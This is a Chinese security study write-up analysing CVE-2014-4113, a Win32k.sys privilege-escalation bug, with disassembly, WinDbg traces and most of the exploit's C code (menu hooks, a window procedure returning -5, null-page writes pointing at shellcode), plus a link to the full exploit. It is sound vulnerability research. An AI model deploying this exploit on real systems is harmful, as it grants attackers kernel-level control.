CVE-2014-4113提权漏洞学习笔记 - 文章 - 开发者社区

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看雪论坛作者ID：1900

一

前言

1.漏洞描述

该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数，产生的原因是没有对该函数中调用的xxxMNFindWindowFromPoint函数的返回值进行合法性验证，直接将其作为参数传递给后面的xxxSendMessage函数调用，从而造成了提权漏洞。

2.实验环境

操作系统：Win7 x86 sp1 专业版
编译器：Visual Studio 2017
调试器：IDA Pro，WinDbg

二

漏洞分析

1.静态分析

通过IDA直接查看xxxHandleMenuMessage函数，可以在其中看到，在该函数中，会首先调用xxxMNFindWindowFromPoint函数，然后将该函数的返回值作为第一个参数被下面的xxxSendMessage函数调用。

picture.image

xxxSendMessage函数是通过调用xxxSendMessageTimeout函数来实现的，而在xxxSendMessageTimeout中会有如下的代码：


          
.text:BF8B94E8                 push    [ebp+Src]
          
.text:BF8B94EB                 push    dword ptr [ebp+UnicodeString]
          
.text:BF8B94EE                 push    ebx
          
.text:BF8B94EF                 push    esi
          
.text:BF8B94F0                 call    dword ptr [esi+60h]
          
.text:BF8B94F3                 mov     ecx, [ebp+arg_18]
          
.text:BF8B94F6                 test    ecx, ecx
          
.text:BF8B94F8                 jz      loc_BF8B9591

此时esi保存的就是xxxSendMessage第一个参数的值，也就是说此时esi=iRet。因此，如果xxxMNFindWindowFromPoint函数的返回值为-5的话，那么，此时call dword ptr [esi + 0x60]就会是call dword ptr [-5 + 0x60]，就等于call dword ptr [0x5B]。此时，可以通过在0x5B处保存要执行的ShellCode的地址，那么此处的call dword ptr [esi+0x60]就会执行指定的ShellCode。

而在xxxMNFindWindowFromPoint函数中，会调用xxxSendMessage来发送一个0x1EB的消息。如果xxxSendMessage函数的返回值非0的话(比如-5)，那么该返回值就会作为xxxMNFindWindowFromPoint函数的返回值返回回去。

picture.image

这里IDA反编译的结果出了问题，在反汇编的代码中是可以看到，此处的xxxSendMessage函数发送的消息是0x1EB的消息：


          
.text:BF9395E4                 push    eax             ; Src
          
.text:BF9395E5                 lea     eax, [ebp+UnicodeString]
          
.text:BF9395E8                 push    eax             ; UnicodeString
          
.text:BF9395E9                 push    1EBh            ; MbString
          
.text:BF9395EE                 push    dword ptr [edi+0Ch] ; P
          
.text:BF9395F1                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
          
.text:BF9395F6                 mov     esi, eax

2.动态分析

运行exp，在xxxMNFindWindowFromPoint函数发送消息的地址下断点。

picture.image

中断以后，调用函数发送消息，然后查看返回值可以看到此时的返回值就是-5。


          
kd> g
          
Breakpoint 0 hit
          
win32k!xxxMNFindWindowFromPoint+0x53:
          
838995f1 e8a7fff7ff      call    win32k!xxxSendMessage (8381959d)
          
kd> p
          
win32k!xxxMNFindWindowFromPoint+0x58:
          
838995f6 8bf0            mov     esi,eax
          
kd> r eax
          
eax=fffffffb

继续运行到xxxMNFindWindowFromPoint函数返回前，可以看到此时的返回值为-5。

picture.image

继续向下运行到xxxSendMessageTimeout调用函数处的call dword ptr [esi + 60h]，可以看到此时的esi等于-5，而0x5B保存了要执行的ShellCode的地址。

picture.image

继续运行，就会运行ShellCode的代码完成提权。

picture.image

三

漏洞利用

想要成功触发该漏洞，需要使用TrackPopupMenu函数，该函数定义如下：


          
BOOL TrackPopupMenu(HMENU hMenu,
          
           UINT uFlags,
          
           int x,
          
           int y, 
          
             int nReserved,
          
           HWND hWnd,   
          
           const RECT* prcRect);

其中第一个参数hMenu是一个pop-up菜单，第六个参数hWnd则是拥有该菜单的窗口句柄，因此在exp中要创建好这些窗口，然后调用函数触发漏洞：


          
    HWND hWnd = NULL;
          
    WNDCLASS wc = { 0 };
          
    HMENU hMenu1 = NULL, hMenu2 = NULL;
          
    MENUITEMINFO Item1 = { 0 }, Item2 = { 0 };
          
 
          
    memset(&wc, 0, sizeof(wc));
          
 
          
    wc.hInstance = GetModuleHandle(NULL);
          
    wc.lpfnWndProc = WndProc;
          
    wc.lpszClassName = "1900";
          
 
          
    if (!RegisterClassA(&wc))
          
    {
          
        ShowError("RegisterClassA", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    hWnd = CreateWindowA(wc.lpszClassName,
          
                   "",
          
                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,
          
                   0,
          
                   0,
          
                   640,
          
                   480,
          
                   NULL,
          
                   NULL,
          
                   wc.hInstance,
          
                   NULL);
          
    if (!hWnd)
          
    {
          
        ShowError("CreateWindowEx", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    hMenu1 = CreatePopupMenu();
          
    if (!hMenu1)
          
    {
          
        ShowError("CreatePopupMenu", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    memset(&Item1, 0, sizeof(Item1));
          
    memset(&Item2, 0, sizeof(Item2));
          
 
          
    Item1.cbSize = sizeof(Item1);
          
    Item1.fMask = MIIM_STRING;
          
    if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
          
    {
          
        ShowError("InsertMenuItemA 1", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    hMenu2 = CreatePopupMenu();
          
    if (!hMenu2)
          
    {
          
        ShowError("CreatePopupMenu 2", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    Item2.fMask = MIIM_STRING | MIIM_SUBMENU;
          
    Item2.dwTypeData = "";
          
    Item2.cch = 1;
          
    Item2.hSubMenu = hMenu1;
          
    Item2.cbSize = sizeof(Item2);
          
 
          
    if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
          
    {
          
        ShowError("InsertMenuItemA 2", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }
          
 
          
    // 触发漏洞
          
    if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL))
          
    {
          
        ShowError("TrackPopupMenu", GetLastError());
          
        bRet = FALSE;
          
        goto exit;
          
    }

同时，在主窗口的处理函数中，也需要进行判断。如果窗口处于空闲状态，需要通过PostMessage函数来模拟鼠标和键盘的操作，这样才能成功发送0x1EB的消息来达到漏洞点：


          
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
          
{
          
    // 如果窗口处于空间状态
          
    if (uMsg == WM_ENTERIDLE)
          
    {
          
        PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
          
        PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
          
        PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
          
    }
          
 
          
    return DefWindowProcA(hWnd, uMsg, wParam, lParam);
          
}

为了让xxxSendMessage函数返回-5触发漏洞，还需要通过SetWindowHook来加入钩子函数。


          
HHOOK winHook = SetWindowsHookExA(WH_CALLWNDPROC,
          
                     WndProcHook,
          
                     NULL,
          
                     GetCurrentThreadId());
          
if (winHook == NULL)
          
{
          
    ShowError("SetWindowsHookExA", GetLastError());
          
    bRet = FALSE;
          
    goto exit;
          
}

在钩子函数中，拦截0x1EB的消息，通过SetWindowLongA函数来修改菜单窗口的属性。这里的第二个参数传入的是GWL_WNDPROC，意味着修改的是窗口的处理函数。


          
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
          
{
          
    CWPSTRUCT *pWndProcArgs = (CWPSTRUCT *)lParam;
          
 
          
    if (pWndProcArgs->message == 0x1EB)
          
    {
          
        if (UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
          
        {
          
            lpPrevWndFunc = (WNDPROC)SetWindowLongA(pWndProcArgs->hwnd,
          
                                GWL_WNDPROC,
          
                                (LONG)MenuWndProc);
          
            if (lpPrevWndFunc == 0)
          
            {
          
                ShowError("SetWindowLongA", GetLastError());
          
            }
          
        }
          
    }
          
 
          
    return CallNextHookEx(NULL, nCode, wParam, lParam);
          
}

在窗口处理函数中，如果接收的消息是0x1EB的消息，则调用EndMenu函数销毁窗口且返回-5来触发漏洞。


          
LRESULT CALLBACK MenuWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
          
{
          
    if (uMsg == 0x1EB)
          
    {
          
        EndMenu();
          
        return -5;
          
    }
          
 
          
    return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);
          
}

最后，由于在xxxSendMessageTimeout中还有如下的验证：

picture.image

此时的p就是传递的-5，所以在0地址申请内存成功以后，除了将0x5B地址的内容修改为ShellCode的地址外，还需要将0x3和0x11处的数据修改为如下数据：


          
BOOL Init()
          
{
          
    BOOL bRet = TRUE;
          
 
          
    // 在0地址申请内存成功
          
    if (AllocateZeroMemory())
          
    {
          
        *(DWORD*)(0x3) = GetPtiCurrent();
          
        *(BYTE*)(0x11) = (BYTE)4;
          
        *(DWORD*)(0x5B) = (DWORD)ShellCode;
          
    }
          
    else bRet = FALSE;
          
 
          
    return bRet;
          
}
          
 
          
DWORD GetPtiCurrent()
          
{
          
    __asm
          
    {
          
        mov eax, fs:[0x18]
          
        mov eax, [eax + 0x40]
          
    }
          
}

四

运行结果

完整代码的链接为：

https://github.com/LegendSaber/exp/blob/master/exp/CVE-2014-4113.cpp

最后在系统上运行结果如下，可以看到提权成功。

picture.image